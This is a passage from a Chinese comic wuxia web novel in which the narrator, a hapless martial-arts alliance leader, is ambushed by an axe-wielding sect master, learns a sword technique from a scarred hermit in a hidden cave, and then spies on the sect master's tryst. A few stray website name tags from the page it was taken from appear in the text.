直到沉重地再也跑不动了,我停在两盏红灯跟前,怔怔地看着两个目色茫然的女人,看着我,就像看着一个举止怪异的傻子。 廖七嫂“噗嗤”一声笑了,拖着长音,阴阳怪气地说:“哎呦,这不是大盟主吗?是什么风把您吹到这汀泉山上来了?” 她笑吟吟地向我迈进了几步,胸口的两团如同是河水中被强风掀起的波涛一样,汹涌澎湃。 她一脸懵懂地样子,看起来十分无辜与迷茫,她问我:“刚才……盟主喊的什么?这是要抓住谁?”她看了一眼身旁正值妙龄的女子,问:“是要抓我们两个吗?” 李小谦跑到我身旁,看到这番场景也是一愣,随即喜笑颜开,戳了我肩膀一下,说道:“哎呀,兄弟,这两位是你朋友吗?” 廖七嫂瞥了他一眼,冷声一声,说:“别装了!从你踏着少林轻功往这跑的时候我就已经认出你来了。怎么?括苍山陈老头家的饭不好吃,因此投奔了武林盟了?还是括苍派与武林盟本就是一丘之貉,私下里互通有无呢?” 不知为何,她说话总是带着一副阴阳怪气的调子。但她的话却让我产生了极大的疑惑。又或许,这份疑惑早就已经深埋在我心里,只是此时被她一句话勾了出来。我看着李小谦,问:“你去过括苍派?” 李小谦脸上闪过一丝慌乱,但随即便镇定下来,变得平淡而坚定,说:“没有。” 真的没有吗? “好啦!”廖七嫂伸了个懒腰,两只胳膊向后一伸,胸口登时又挺拔了几分。她说:“我没功夫听你们扯来扯去,风景我也看得差不多了,两位若没有事情,我可就要告辞了。” 她停顿了片刻,忽然眼睛一眯,凑到我脸前,意味深长地说:“荒山野岭,男男女女的,万一被有心之人盯上了,老娘的名声可就败掉了。你说是不是?盟主!” 她放浪地笑着,哈哈的笑声在茫茫的夜空中极富穿透力,向一把锋利的刀一样,在我的胸口划开一道口子。我漠然无措地看着她离去的背影,心里一阵失落。 又是白忙活了一场。 2. “这个臭娘们儿。”李小谦看着廖七嫂登船离去,狠狠地骂着,“她故意耍老子!” 我努力地回忆刚刚发生的一切。我们眼看着廖七嫂提着红色灯笼下船,然后一路尾随着,可以说是步履轻盈,如履薄冰,没有发出丝毫的响声。就算中途,我和李小谦一连踩了满脚的粪便,也强忍着没法发出一点声音。除了…… 我指责李小谦:“都怪你。若不是你撞在树上,我们就成功了!” 李小谦指着自己的鼻子,眼睛瞪得像核桃一般大小,叫道:“怪我?!若不是你跟我废话,我会分神撞在树上吗?!”无忧 我心中有气无处发泄,只得冲着李小谦喊:“就是你!你不会忍着不要喊吗?!” 李小谦气得喘着粗气,往地面上一连蹬了好几下,忽然他猛地向后一挫,飞脚向我踹来。 我冷笑。心想,你还以为我是曾经的我吗?现在的我会让你轻易踹到吗?你的每一个动作都逃不过我眼睛! 我淡定地伸手,轻而易举的便搬住了李小谦的脚掌,并将它死死捏在手中。 “怎么样?”我冷哼,“服不服?!” 李小谦却哈哈大笑起来,连连点头,说:“服了,服了!哈哈哈……” 他笑什么?! 被我制服的感觉真的令他如此开心吗? 我捏了捏他的脚掌,忽然感觉手心里有滑滑的,黏黏的感觉。随即,闻到一股令人作呕的恶臭。 “我靠!”我急忙扔开李小谦的脚,喊道,“你的脚上有……” 3. 清凉的河水流过我的指缝,洗尽我手掌的污秽,也洗涤了我焦躁的心灵。 我和李小谦都重新回归冷静,互相指责是没有用的,前面的路还要走,有很多困难,还需要一同设法解决。 李小谦用仍旧十分笃定的口气驳回了我怀疑,他说:“一定有奸情!你相信我,他俩一定有奸情!而是,他们今天晚上肯定已经见过面了。” 我仍旧怀疑:“可是,我们一直跟着,连伍黑龙的影子都没有看到啊。” 李小谦思索了片刻,说:“那个年轻的婢女!她应当是伍黑龙的人!” 我不解,问:“何以见得?” 李小谦摆开架势跟我分析:“廖七嫂下船的时候是一个人。我们并没有发现有人与她同行,但是我们跟了一路下来,却发现跟的是另外一个人。这只能说明,那个婢女中途与廖七嫂互换了,是她带我们在山上兜了一圈。只要我们能找出他俩互换的位置,或许就能找到廖七嫂与伍黑龙幽会的地方。” 我问:“找到他们幽会的地方有能怎样?” 李小谦嘿嘿一笑,说:“守株待兔!” 这的确不失于是个好主意。可是,哪里才是廖七嫂与那婢女互换的地点呢? 我迷茫地看着李小谦,还未开口,却已经被他猜透了心思。他指着树林深处,说:“就是我刚才撞到脑袋的那个地方!只有那里,那灯笼的红光才停留过片刻!” 我和李小谦对视一眼,彼此心领神会,一点头,起身便向着那个位置跑去。 4. 距离李小谦撞树的位置百米之外,大致是当时我俩见到那红色灯笼停滞的地方,果然有一条斜向山下的隐蔽小径。岔口被低矮的灌木遮盖,趟过去不到三四十米,小径的走向豁然开朗。 我俩喜出望外,沿着小径快步行走。虽是摸黑,到那种即将拨云见日的激动心情,让我们不觉间走得更快了。 李小谦说,这就是捉奸的快感。 小径的尽头,是一道光秃秃的石壁,一片光秃秃石壁上方一丈高起,莫名其妙地长了一些藤蔓,像女子的秀发一般温柔垂下。 风一吹,藤蔓轻轻摇摆,露出一个方圆三米的洞口,漆黑一片。 “找到了!”我指着山洞口,激动地大喊,“这就是他们幽会的地方!” 话音刚落,我忽然听到一道“呼”的声音,一阵强烈冷风从藤蔓后隐藏的洞口猛地吹了出来。 宣花板斧! 我下意识就想到了伍黑龙手中的那柄厉害的大斧头,登时浑身紧成一团,向后一仰。 宣花板斧在我脸上方三指处挥了过去,板斧上缠绕的几缕藤蔓擦过我侧脸,一阵火辣辣的疼痛。 我连退数步,勉强站稳了身子,刚定了定神,却又听到一阵风声,刚猛的斧头腾空向我劈来。 我拔剑欲挡,却听见李小谦大喊:“快滚开,挡不住!” 我登时醒悟,即使再怎么锋利的九郎剑,毕竟是又短又小,与寻常兵器或许可以对拼,却怎么能抵住从天而降的沉重一斧。 我向左一番,连连滚出去几米。匐在地上,我看到月光下伍黑龙阴沉的脸,还有那对似睁未睁、似醒未醒的小眯缝眼儿。 第二卷 武林盟的开始与结局 第一百二十九章 山洞 1. 月光下,我看到伍黑龙的脸犹如万古寒冰穿凿出来的一般冰冷,他如缝隙一般的眼睛瞪着,如同是强行撑开的肚脐,贴在脸上,冲我射出森森的冷光。 千钧重的宣花板斧“呼”的一声又向我挥来。我忙跌一躲,又是一个侧翻,险险地躲过。才三个回合,我已经急得汗流浃背。从前与人对阵,对手都是以轻兵刃为主,凭借九郎剑的锋利,加上我长时间苦修的结果,尚可以应付。 但如今,面对着沉重威猛的巨斧,缺少实战经验的我,显然是不知如何应对。更何况,伍黑龙身为汀泉派掌门,他大哥伍白鹤又是令江湖人闻风丧胆的狠辣之人,其出手自然是不同于一般,更何况,伍黑龙招招致命,分明就是冲我下了死手。眼下局势,只怕挨不过十招,我便会被伍黑龙一斧头斩成两半。 怎么办?! 我又气又急,无计可施之下,只得破口大骂:“伍黑龙,你大爷的!” 伍黑龙显然被我这一骂激得更怒,他连挥两下斧头,两道疾风之刃交错成十字划破夜空向我袭来。我只得向左连翻带滚,再次躲过。 “咔嚓”一声巨响,疾风将十米之外的一棵大树斩成两段。“轰隆”一声,树干砸在地上,地面一阵颤动。 四招!仅仅四招,伍黑龙斧头的功夫已经让我深深地感到恐惧。 “大胆李小谦!”伍黑龙大喊一声,“竟敢冒充武林盟主招摇撞骗,今日就算你断送在我汀泉山上,也是我汀泉派为武林除害了!” 什么?! 我心里一惊,接着又是一阵茫然。他分明是与我对战,为何口中叫骂的却是李小谦?! 还在我未弄清楚缘由之时,李小谦低声骂道:“尼玛,想杀人灭口拿老子当挡箭牌!”片刻之后,我又听到他说了一句:“三十六计......俺老李溜之!”我随即听到一阵“沙沙”的声响,四处张望时,李小谦已不见了踪影。 “哈哈哈哈!”伍黑龙放声大笑,“无胆鼠辈,竟然弃同伙于不顾。”他直直地盯着我,恶狠狠地说:“李小谦,你拿命来!” 我心中急成一片,大喊:“睁大你的眼睛看看,我不是李小谦。我是武林盟主,姬旦丙!” 伍黑龙憋了半天,低声回道:“江湖人都知道,我伍黑龙的眼睛睁不大!”说罢,他举起斧头向我头颅劈下,我向后连挫数步,但那斧头却没有丝毫跟进的意思,而是直直地砸向了地面。 “哐”的一声。地面上一块岩石被劈得粉碎,石屑成片崩向半空,伍黑龙抡圆大斧头,斧面砸向空中的石屑。 “嗖嗖嗖嗖”一连数声,数十大小不一的石屑如同是暴雨梨花一般地向我袭来。 这样的招式,或许对廖七嫂有用,但对于我来说,绝然没有半点功用。我拔出九郎剑,腕花撩动,将九郎剑在我胸口挥出一道密不透风的剑盾。 锋利的九郎剑挥出的剑盾,坚韧无比,原可以挡下竹筒里射出来的七十几道银针。但我却断然意料不到,被伍黑龙一斧头砸来的石屑,竟然也带着刚猛霸道的劲力。我虽然以剑盾将那些石屑尽数切下,但却被那股刚猛霸道的劲力震得胸口剧痛,浑身血气翻腾,喉咙一甜,“哇”的一口鲜血从口腔里喷射出来。 伍黑龙阴冷的笑声里透着洋洋的得意,他大喊:“武林盟主也是你这种杂碎能够当得起的?”说罢,他又是一斧头向我砍来。 这次斧头速度更疾,威势更猛,而我却深陷于血气翻涌的痛苦之中难以动弹。眼看着那斧头落下,我即将被伍黑龙一分为二,心中一片绝望。 难道今日便要死了吗? 可我还没有来得及见小月最后一面! 小月?! 我忽然想起那日小月在情急之下推出飞剑连穿数人的那招,如今这种穷途末路的情形之下,倒真的可以拿来一试,即使不能够绝处逢生,那我也要与伍黑龙拼个同归于尽。 李小谦曾对娄琴说过,亏本的买卖不能做。所以,我也绝不会白白送上一条性命。 我左手虚握住九郎剑的剑柄,右手翻掌用力向剑柄一推,随即左手一片虚空,九郎剑已于顷刻之间,如同是离弦的弓箭带着劈空的哨响,飞向了正在扑来的伍黑龙。 “啊?!” 黑夜中,伍黑龙一声惊呼,已快要落下的宣花板斧急刹在半空,随即他陡然转势,将斧头横在身前格挡。 “当”的一声。 两道兵器撞出的火星喷出去一米多远,伍黑龙“哇”的一声怪叫,向后连退了数步,九郎剑翻转着抛向空中,再落地时,传出一声脆响,听声音大致是从石壁下方,那一片垂下的藤蔓边缘传来。 “好强悍的内力!”伍黑龙惊讶地低吼。 内力? 当日在月牙山庄,慕容顺曾说我剑法很快,而内力不足。而这时,伍黑龙却惊叫我内力强悍。到底谁说得是对的?我心里一阵茫然。三九中文网 “你,你不是他!”伍黑龙忽然指着我大喊,“你究竟是谁?” 我说:“我就是我!” 伍黑龙沉吟片刻,冷冷地说:“不过短短数月,你的功夫竟然进步如此之大,简直骇人听闻!既然如此......那我便更不能留你!” 话音刚落,伍黑龙斧风与刀劈剑斩,威猛而敏利,沉重的斧头在他手中似乎这短暂的几息之间变得轻盈了许多,但杀意却更重了几倍。 月光一照。九郎剑在石壁下映射出绚丽的光彩,护手上镶嵌的宝石发出青红紫色的亮光,似乎是剑在向我召唤。 我看准伍黑龙下路的空档,滚地一跃,从他裆下钻了过去。伍黑龙似乎是以为我要袭击他裆中央的要紧部门,竟然一把扔了手中的板斧,双手护裆,惊叫道:“手下留情。” 他话音一落,我已从他挡下穿过,滚到了九郎剑旁。手触到九郎剑的剑柄,剑柄上似乎是传来一阵熟悉的气息,那是剑与我的感应。 “哇!” 剑虽然已到手,身上的动作却收不住了,攥着九郎剑又连滚了两圈,似乎是有藤蔓打到身上的感觉,再睁眼时已是一片漆黑。 那是一种什么都看不见的黑暗。 只有头脑中想象的光彩在眼中似有似无地闪烁。 想要站起身来,站到一半,脑袋顶“梆”的一声,随之一阵剧痛。我伸手触摸,两旁是清凉潮湿的石壁。 我这才意识到,这是一个山洞。 李小谦说过,伍黑龙与廖七嫂幽会的地点应当是小庭院、小楼阁、小山洞一类的地方。我想,这里大概就是他们二人幽会的地点。 我一阵喜悦,终于还是被我发现了。 随即,又是一阵失落。发现了又如何?面对如此厉害的伍黑龙,我真的还有与他谈论条件的机会吗? “你出来!”伍黑龙在洞口大叫。 我攥紧九郎剑,大喊:“我不出去!” 伍黑龙怒道:“躲在山洞里不出来,算什么英雄好汉!快出来与我决一死战!” 我回应道:“你想要杀我,我绝不出去!” 伍黑龙气得“哇哇”大叫,只听见石壁上“叮楞哐啷”一阵乱响,几块巨石滚下,将洞口堵住一半。伍黑龙大叫:“你不出来,也休想让我进去!老子不中你的奸计!我就守在洞口,看你能撑到几时!” 奸计?我能有什么奸计?! 我苦笑着摇头,正所谓以小人之心度君子之腹,便是指的这种情况罢。 世间似乎过了很久。伍黑龙在洞口叫骂了半天,之后大概是累了,也没有了动静。这时,四周一片寂静,黑暗中的寂静。 似乎是在一片暗无天日的幽深谷底,莫名地给人一种深邃的恐惧感。 我试探着向洞中前进,脚下踢动石块,“嘎啦”一声传入山洞深处,再也没有了回声。 好深的山洞!似乎是一直通向地下,通向地狱阎罗殿一般。 我心中深怀着恐惧,却又万般地好奇。或许,缘分这东西的确是无形物体却又真切存在的事务,它引导着我在这一个深不见底,茫然未知的山洞中摸索着前进,一直前进。 不知是又走了多久。或许是一直深埋在内心的恐惧之中,总感觉时间过得十分漫长。山洞中愈是往深处行走,愈是觉得潮湿闷热。直到那感觉清晰得让我无法忍受之时,又向前走了几步,感觉温度骤然下降,一阵阵清凉的气息在空气中渗透。 再走几米,穿过一道似乎是人工雕琢的拱门,眼前豁然开朗,竟是一个被碧绿色晶石照亮的宽阔山洞,山洞高两丈有余,直径越有七八丈长,洞顶上垂下的石柱虽然是仿制的钟乳石,却明显不似我以往见到的钟乳石那般天然偶成,到处都是人工雕砌的痕迹。 到底是谁在这里建造了这样一个神秘的山洞? 我四处打量着,心中愈发好奇。围着山洞饶了半周,忽然一面光滑如镜的石板映入我的眼帘。 那石板两臂宽,约有一人半高。石壁的表面不知道被什么打磨得异常光滑,倒映着碧绿色晶石发出的光彩,隐隐地可以看到自己的身影。 然而,真正吸引我的,并不是这块光滑的石壁。而是,那个石壁上刻着的一排小字,以及那一大片手中持剑,舞动姿势的小人。 第二卷 武林盟的开始与结局 第一百三十章 怪人 1. 一片绿莹莹的天地,恍惚间犹如置身于阳光明媚的绿柳林中,碧绿晶石发出的光芒带给我一种前所未有的迷幻之感。眼前那块光滑如镜的石板上,一排又一排的小人似乎是活了一般,舞着剑,仿佛在向我传递着某种信息。 不知是我的脚踩到了什么地方,又或是我的手触碰了什么地方。总之,我迷迷蒙蒙间,忽然感觉周身剧烈的震颤,宽阔的洞中陡然间光影变化,色彩斑斓。 “擅闯汀兰古穴者——死!” 光彩变幻的空间里,某一处忽然传来了低沉而阴冷的声音,宛如是空谷回响般萦绕。我心中一紧,顾不得头脑发胀,挥剑大喊:“什么人?!” “擅闯汀兰古穴者——死!” 声音又起,我一瞬间已捕捉到那声音传来的方位。不敢丝毫迟疑,我双腿猛地一蹬地,飞身向那声音传来的地方一剑砍了下去。 让我倍感惊讶的是,这一起身,双足点地的力道虽然很猛,但因为当时心里太过紧张,并没有来得及使出全部的力量。然而,我仍旧明显地感觉到自己的身子如同闪电一般地飞出,速度远远超乎了我的想象。 先是“当”的一声,剑砍到了坚硬的石壁,将我虎口处震得生疼。 后是“咣”的一声,脑袋磕到了上方垂下的石柱上。 一阵炸裂般的疼痛,犹如被人闷头一棍猛击。我嘴上骂着操娘日伯的狠话,头脑却比方才更加不清晰了。两眼看到的事物更加绚丽,所有的景象都在我眼前一圈一圈的旋转着。 我只感觉自己的身子不受控制地后仰,直到我倒在坚硬的地面上,那种晕眩的感觉才稍稍缓释。只是,双眼中一片模糊。 一个人影,模糊的灰色人影出现在我的视野。 我极力地聚集目光,想要看清那人的脸。但当我看清楚之时,一颗心却骤然紧绷,身子一沉,如坠万丈深渊。 因为那个人的脸,是一个鬼脸。 披头散发,如老橘皮一般褶皱的脸上,横竖着数不尽的疤痕,似乎还有几道凝着血痂。他用一种很怪异地眼神看着我——似乎是疑惑,还有一种我所不能理解的激动。 2. 当我再次睁开眼睛的时候,周围还是一片绿莹莹的天地。没有天旋地转,没有光彩变幻。 碧绿的晶石散发着幽幽绿光,将洞顶上垂下的石柱照得一片碧绿。 我侧头向右,那面光滑如镜的石板上镌刻的小人仿佛有死掉了一样,纹丝不动。两排小字在绿光照耀下显得格外清晰。 “缠绵绯剑书锦册,十年生死入轮回。” 这样工整而寓意深刻的句子在我眼中看来,比李小谦写得“艾斯比”还要费解。看不懂,我也不愿花费心思去揣摩。 我侧头向左。突然,看到一双血丝满布深邃的眼睛,在疤痕密布的脸上,正直勾勾地盯着我! “鬼呀!”我大脑登时一片空白,只有下意识地放声大喊。声音回荡在山洞中,反入我的耳蜗,一遍遍地提醒着我,让我置身于无限的恐惧中。 “啪”的一计响亮的耳光彻底将我抽醒。 那个满脸疤痕的男人因低沉而柔和的声音对我说:“别喊!我不是鬼,是人!” 人?! 我在去审视他,他的确是一个完整的人形。被碧绿晶石光芒拉长的影子一直打到我脚踝处。 的确是人!鬼是没有影子的! 即便是人,也是一个让人甚感恐惧的人! 我小心翼翼地问:“你是谁?” 那人的脸上忽然闪过痛苦之色,他沉吟了许久,说:“有缘人!” “有缘人?”我不解地问,“与谁有缘?” 那人却缓缓地摇头,嘴中发出苦涩的笑声,说:“错了,错了!应当是有缘无份之人!” 我见那人举止怪异,说话云山雾绕,甚感此地不宜久了,当即起身离开。 “站住!”那人喝了一声,说,“你要去哪里?” 我说:“我要走!” “走?”那人疑问,“我在这山洞里住了十几年了,难道你就不能陪我一时片刻吗?” 我赶忙拒绝,说:“不能!” 那人问:“为什么?” 我看着他那种比鬼还要恐怖的脸,说:“我害怕!” “脓包!”他忽然暴怒,向我迈进两步,厉声说道,“男儿大丈夫,怎能轻言害怕?!” 可是,我真的很害怕。 我不敢再说,只得怔怔地站在原地。走也不敢,留却更加紧张。正在我左右为难之时,他开口问我:“你姓什么?”小桃中文 还是头一次有人不问我名字,而只问我姓氏。这让我心中难得的宽慰,因为,我终于可以朗声回应:“我姓姬!” “叫什么?” 他还是令我厌恶地问了出来。虽然语气柔和,但还是让我免不了想要捅他一剑。 当然,这一剑,我并没有捅出去,而是咬着牙低声回答:“叫旦丙!” “姬......旦丙?!” 他双眼冒出愤怒地光,破口大骂:“哪个畜生给你起的名字?” 我说:“是我的师父。” 他问:“你师父是谁?” 我说:“我师父叫陈八矛。” 他攥着拳头,冷冷地问:“他是谁?何门何派?身在何处?” 我说:“他是个江湖游侠,无门无派,已经死了。” 他的拳头忽然又松开了,摇头苦笑了两声,说:“罢了,罢了。姬旦丙就姬旦丙吧。不过是个称谓,生不带来,死不带去。” 我心里暗骂,你说得倒是轻松,敢情你不叫姬旦丙,你怎么能体会到一个名字给我带来的痛苦?! 我问:“你是谁?” 他怔了怔,缓缓地说:“我是谁?”他的眼神迷离,又几分痛苦,他说:“我是守护这个古穴的人。” 我又问:“你叫什么?” 他没有回答我,而是默然转身看向那个光滑如镜的石壁,说:“我见你身手不错,是在哪里学的功夫?” 这一问倒是让我十分为难。我的师父是陈八矛,他虽然在有限的年纪里向我讲述了无尽的武学知识,却终究没有让我练成什么厉害的武功。我如今这称不上剑法的剑法,全然是拜白景行给我的奇怪竹筒所赐。 我究竟是从哪里学到的功夫呢? “不愿说就算了。”我无法回答,那人以为我不愿告诉他,竟然就这么放弃了。他指着那个光滑如镜的石壁,说:“这上面记载了一套威力无穷的剑法,既然你有缘到了这里,就把它学去吧。” 我看着那些小人,他们个个手持这一把剑,摆着各种各样的招式。我仔细顺了一边,发现那些招式之间竟然没有一丝一毫的联系,相互之间毫无贯通。 “这怎么练?” 我先比着第一个小人,做了一个动作,然后站定身子,又摆了摆第二个小人的动作,心里一阵茫然。 “这招式之间也不连贯,要怎么练?”我问。 那人说:“死的剑法有招式,活的剑法却没有招式。招式的节节贯通意味着出手的拘泥,只有无招无式的剑法,才能让敌手摸不清你的套路,从而无法反制,才能出奇制胜。” 没有招式的剑法? 我指着墙上的小人,说:“那这些是什么?” 那人阴沉着脸,说:“算是一种提点。你自己随心所欲,由心而发,应势而为,将这些提点连通起来,便可以了。” 我更加不能理解了,我说:“我没有练过剑法,不知道怎么样才能连通,即便是强行连起来,只怕也是破绽百出。” 那人呵呵一笑,说:“破绽百出又如何?如果你的剑够快,只怕对手尚未捕捉到任何破绽,他就已经死在你的剑下了。” 听完他的话,我不禁感到震撼。他所说的与八矛师父的剑术之道竟然不谋而合。 这边是绝世剑法的真谛吗? 所以白景行给我的竹筒,并不是隐藏着什么精妙绝伦的剑法,而不过是练习出剑速度的一种手段罢了。 我将那些小人的动作逐个摆了一遍,然后一一记在心里。每次摆出一个动作,我都想象着对面站着伍黑龙,若他的宣花板斧挥来,我要如何去绕过斧锋,去击中他的要害。 这些小人的出剑位置尽皆狠辣,穿胸、切腹,砍,劈,斩,一共十一式招招致命。然而,当我看到最后一个小人的动作时,却愣住了。 那小人身子前倾,作蓄势待发之状,手中长剑平端,剑尖儿直指敌人的咽喉。这一招,与陆家剑法的一剑封喉简直如出一辙。 “我见过这个招式!”我忍不住喊了出来。 那人原本坐在地上悠闲地烤着我的面饼,听我一说,霍然站起身来,问道:“在哪里见过?” 我说:“陆家剑法里有一招,一剑割破人的喉咙,却不会出血,直到人倒地之后,才会有血渗出来。” “哦?”那人笑道,“陆家剑法?他竟然将剑练得这么快?!倒真的是难得了!” 我问:“你认得陆石?” 那人没有回答我,只是厉声地喝了我一句:“好好练剑,留给你的时间不多了!”说完,他又坐在地上,将烤得鼓鼓囊囊的面饼抓在手里,也顾不得烫不烫,像是许久没有吃过的美食一般咬了一大口,然后狠狠地咀嚼,直到吃得泪流满面,才长长地叹息着感慨了一句:“十年了!太好吃了!” 看着他的样子,我不禁毛骨悚然,这是一个怎么样的怪人,竟然十多年没有吃过一张面饼?他在这深深的古穴之中,生活了十多年,到底是怎么活下来的呢? 第二卷 武林盟的开始与结局 第一百三十一章 野战 1 经过那个怪人的一番点播,石板上的剑法越练我越觉得精妙无比。练到心潮澎湃之时,我运足力气,冲着光滑如镜的石板猛地一挥剑,恍惚间仿佛有一道光束从剑刃之上飞出。 “轰隆”一声。 石板碎裂,露出一个一人多高的洞口。随即一阵极寒彻骨的冷风迎面扑来,几乎在一瞬间将我整个人冻得僵住了。 那怪人也僵住了。但他融化得明显比我快了许多,他大踏步奔向那洞口,一掌将我推开。 洞中寒气外泄,四周的石壁缓缓凝气一层白霜。 他扑倒在洞口,泣声幽咽,难以自持。 “燕桦!”他喊着一个名字,两只眼睛直直地盯着洞中。忽然,他似乎陷入了极度的恐慌,双手捂着脸,惊慌失措地喊着“不,不,我不要你看到我的脸,我不要” “对,对不起。”我感觉自己做错了什么,我向他致歉。他却忽然拧头,两只猩红的眼睛死死地瞪着我,大有将我碎尸万段的杀意。 我忍不住向后退。退了两步,后背已触到冰冷而坚硬的石壁。那是一种从冰天雪地里才能感受到的寒冷,洞中的温度急剧下降,山洞石壁上的白霜越结越厚。 那怪人盯着我,目光中森然的冷气,却比我身后的石壁更让我觉得冷。 “你,你竟然敢”他咬着牙,狠狠地说着。脸上的青筋鼓动,满脸的疤痕几乎就要崩裂开。我竟不由地开始担心,他那些伤痕若是真的崩裂,会流出多少鲜血?倒是那时候,那张脸看起来会不会更加骇人? 然而,他的目光忽然软了下去,他缓缓地低下了头,摇头苦笑“罢了,这就是天意。冥冥之中自有安排。”他坦然地抬起了头,缓缓起身,走进那个洞中。 “你进来!” 我听到那人在洞中喊我。我一阵犹豫,若听了他的,进入洞中不知道他会如何对我。若不听他的,恐怕他冲出洞来,我也未必能跑得掉。 “快点进来!” 他又喊了一声。言语虽然急切,却听不出丝毫的恶意。我迟疑了片刻之后,缓步走了进去。 寒入骨髓的空气仿佛凝着看不见的冰霜,洞中不似外面一样碧绿,而是一片圣洁的霜白之色。那洞并不大,洞中放着个冰棺,下方被打磨的整整齐齐的石台架起。我踮起脚尖向冰棺中瞻望。 那是一个如雪玉一般圣洁的女人。 白裘如雪,覆盖了她的全身。她就那样静静地躺着,苍白的脸上还挂着微微的笑,似乎是陷入了沉睡中人正在进行着一场缱绻宜人的美梦。 她睡得很美,睡得很安详。 “燕桦。”他轻轻地呼唤着她的名字,手掌划过冰棺,似乎是在抚摸着她美丽的脸。他温柔地说“你看看我这张脸。你会嫌弃吗?” 我心想,是个女人大概都会嫌弃。 但那冰棺里的女人依旧微微地笑着,没有丝毫变化,仿佛是在向他回应,告诉他,她并不嫌弃。 “十七年不见。你还是这么美!”他的手再次透过冰棺划过那女人的脸,他说,“这样的结局,你还满意吗?” 我怔怔地听着他如同梦呓般倾诉,感觉这个怪人似乎是经历了什么惊天彻地的情感,才会让他一直在这个暗无天日的山洞中默默地守护着这样一个女人。 “你可以走了。”他轻声地对我说。 我一愣,忍不住问他“去哪里?” 他说“从哪里进来的,便去往哪里。” 我摇了摇头,说“不行,洞口有一个人要杀我。” 他笑着看我,说“那你就用你手中的剑杀了他。” 我低头看向九郎剑,它正闪烁着自信的光芒,似乎是在对我说,没问题,出去干掉伍黑龙! “可是你”我再抬起头想要问那怪人有何打算之时,他的身子却如失去了支撑一般,缓缓沉出了我的视野。 他倒在地上,嘴角留着殷红的鲜血,却带着一种心满意足的微笑。 “你怎么了?”我伸手扶住他,他却缓缓闭上了眼睛,再也没有回答我一句。 2 无论这个人是谁,无论他经历了什么,也无论他为何会忽然自尽。临走时,我都郑重地跪在地上,向他缓缓地叩首。 再起身时,整个山洞已经冻成一座冰窟。那个怪人就趴在内洞的冰棺下面,一只手搭在冰棺之上,地面上凝着一道暗红色的血冰。 洞中冷得已让我无法忍受,我调头向着洞外跑去,沿着那条幽深漫长的隧洞,弓着腰跑了很久。经历了一段漫长的湿热之后,我又来到那个被岩石盖住一大半的洞口。一缕刺目的阳光从上方斜斜地照进来,晃得我眼前一片朦胧的白。 我定了定神,待光影重现,拔剑出鞘,运力一挥,登时岩石崩裂,露出一道足以让我钻过去的缝隙。 我冲着洞外大喊“伍黑龙!老子又回来了!” 洞外没有任何回应,只听到几声鸟叫。我咬了咬牙,快速从石缝里钻出去。眼前是树木稀疏的林子,阳光偏西,看日头已过晌午时分。 我竟在山洞里待了这么久? 恍如隔世的感觉,在此时尤为清晰。 “伍黑龙!” 我提着剑喊他的名字,声音没入山林,惊起一群飞 鸟。 看来他等不及我,已经走了。 3 很快,我便意识到一个新的问题——李小谦去了哪里? 我喊着他的名字,在汀兰峰上转了半天,直到太阳西沉,暮色四合,都没有见到李小谦的影子。 他竟然在昨晚那样危急的时刻弃我而去。 结拜兄弟?! 我忍不住干笑了两声。果然是如小月说得那样,李小谦这个人并不可信。不过,回头想想,他这样弃我而去,在这些年里已经不是第一次了。 他一直都是这样一个人。是我太过单纯了。 我决定不再去管他的死活,这一趟江湖,由我自己来闯也未必不可行。 看着天地茫然一片,我置身于山林,却感到深深的孤独。 去哪里呢?接下来要怎么办呢? 我这才发觉,自己长久以来是多么依恋于别人。李小谦、娄琴、柳无风、小月当他们通通不在我身边的时候,我竟然不知道自己要干什么! 可笑! 鬼使神差一般地,我有绕回了那个山洞。此时,天已全黑,我想着与其漫无目的地晃荡,倒不如在洞里再睡上一夜,等到天再亮起来的时候,或许自己就能想清楚接下来的路要怎么走了。 我倚在洞中的石壁上,回想着这两日发生的事情。心乱如麻,真想就此放弃了,放弃这个江湖上那些蝇营狗苟的事,回到临安,找一个宅子,娶了小月,再生一个孩子,美满一生。 “老贼!” 忽然,山洞外面传来的一声女子的轻呼打断了我的思绪。 我爬在石缝中向外张望,竟看到一盏红如血的光影在半空中摇晃。那红光离我不过四五十米远,通过月光的照耀,我大致可以看到一个胸部挺拔的女子在四处张望。 是廖七嫂! 我这才意识到,自己所处的地方,正是廖七嫂与伍黑龙幽会的地点。 我立时屏住呼吸,趴在石缝间悄悄观察。 “老贼!”廖七嫂轻声喊着,“你死哪去了?” “啊!” 突然,廖七嫂惊呼一声,红色的灯笼打翻在地,烧着了灯上的红纸,冒出一团橙黄的火焰。 “你个死老贼,可吓死我了!”廖七嫂羞愤地嗔道。 伍黑龙嘿嘿地笑着,眼看着他两只手在廖七嫂身上不停地摸索着,说“你怕什么?这里难道还会有别人不成?” 廖七嫂推开伍黑龙,声音严肃,说道“怎么没有别人,那个姓姬的臭小子不还在山洞里没有出来吗?” 伍黑龙啐了一声,说道“我把他逼进了山洞深处,在这里守了两天两夜 他都没有出来,只怕今后再也不会出来了。” 两天两夜?! 我心里一惊,才知道自己在这山洞中所呆的时日已远超过了我的估计。 “为什么?”廖七嫂疑惑地问,“你怎就知道他不会突然从山洞里爬出来?” 伍黑龙冷笑了两声,说“我听我大哥说,这山洞中住着一只杀人如麻的恶鬼,但凡是进了山洞的人,没有一个能活着出来。他两天都没有出来,只怕是已经被那恶鬼撕成碎片了。” 廖七嫂惊呼“你别吓我!”她抱着伍黑龙向我这边张望,看起来有些慌张。 “你不要怕!”伍黑龙的手又开始在廖七嫂的身上摸索,他说,“那里面的恶鬼从不出山洞,不会有什么危险的,再说了,我手中的宣花板斧专杀恶鬼,有我在这里,你还怕什么?” 廖七嫂啐了他一口,嗔道“瞧你选的破地方,除了野兽就是恶鬼,老娘如花似玉的身子,能迷死天下多少男人,真不知道上辈子怎么得罪了你这冤家,凭白到这荒郊野岭跟你遭这份罪。” 伍黑龙抱着廖七嫂,说“还不是我老伍本领高强,能降得住你这妖精,寻常男人怎么能有这份儿本事。” 廖七嫂戳了一下伍黑龙的额头,骚里骚气地说“看把你能耐的,怎么不吹到天上去!” 伍黑龙捉住廖七嫂的手,将她就地按倒,在我面前上演了一场骨病肉薄的战斗,看得我热血澎湃,新潮涌动 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百三十二章 望安 1. 华月为纱,大地作榻。 一场肉薄骨并的激战结束之后,伍黑龙和廖七嫂起身开始整理衣衫。月光下,我可以清楚地看到伍黑龙满脸疲惫的表情,那双原本如缝隙一般的眼睛连如今那道可怜的缝隙都看不到了。而廖七嫂那边,却是花容愈发红润,就如同是刚刚浸润过春露的鲜花,四处绽放着心满意足的娇媚。 